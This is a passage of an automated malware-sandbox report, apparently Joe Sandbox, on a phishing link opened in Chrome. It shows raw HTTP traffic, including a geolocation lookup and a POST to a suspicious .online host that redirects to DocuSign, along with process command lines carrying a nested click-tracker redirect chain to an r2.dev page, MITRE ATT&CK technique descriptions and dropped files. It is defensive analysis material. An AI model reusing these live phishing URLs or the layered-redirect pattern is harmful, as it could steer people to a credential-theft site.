cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1600&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2344&recv_bytes=1227&delivery_rate=1788120&cwnd=221&unsent_bytes=0&cid=689252332701a4cf&ts=550&x=0"
2024-12-17 21:25:22 UTC	420	IN	Data Raw: 34 34 31 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 Data Ascii: 441{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false
2024-12-17 21:25:22 UTC	676	IN	Data Raw: 72 69 63 61 5c 2f 42 6f 69 73 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 43 68 69 63 61 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 6e 76 65 72 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 Data Ascii: rica\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Ind
2024-12-17 21:25:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49758	104.21.57.143	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:25:22 UTC	755	OUT	POST /redirect_to_gmail/ HTTP/1.1 Host: glp6srokudo.tkllop.online Connection: keep-alive Content-Length: 47 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:25:22 UTC	47	OUT	Data Raw: 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 4c 6e 64 4c 48 32 64 4e 56 45 61 42 63 62 48 36 26 73 6c 75 67 3d 72 65 64 69 72 65 63 74 5f 74 6f Data Ascii: &NAMEOFTHEGUY=LndLH2dNVEaBcbH6&slug=redirect_to
2024-12-17 21:25:22 UTC	947	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:25:22 GMT Content-Type: application/json Content-Length: 39 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gkoX42%2ByN4X1aBa7Sh7WBy3it69BdV37Es29OZr6QG%2FuGn1azari4%2BKZcWwuxcRnhYpM1nggKUu0gTXkv1pG2INVQkB1W8QJeghq6pgZ1W3SPcMYF1mq5lzYdCSJSijki75x9WAAxfYq4roI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fc3e7d7f42cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1700&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1402&delivery_rate=1703617&cwnd=242&unsent_bytes=0&cid=4f9d11d0a5c9d4b0&ts=659&x=0"
2024-12-17 21:25:22 UTC	39	IN	Data Raw: 7b 22 74 6f 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 64 6f 63 75 73 69 67 6e 2e 63 6f 6d 2f 22 7d Data Ascii: {"to": "https://account.docusign.com/"}

Target ID:	0
Start time:	16:23:18
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	16:23:18
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1940,i,2132055316792675880,14867391708354348960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:23:19
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph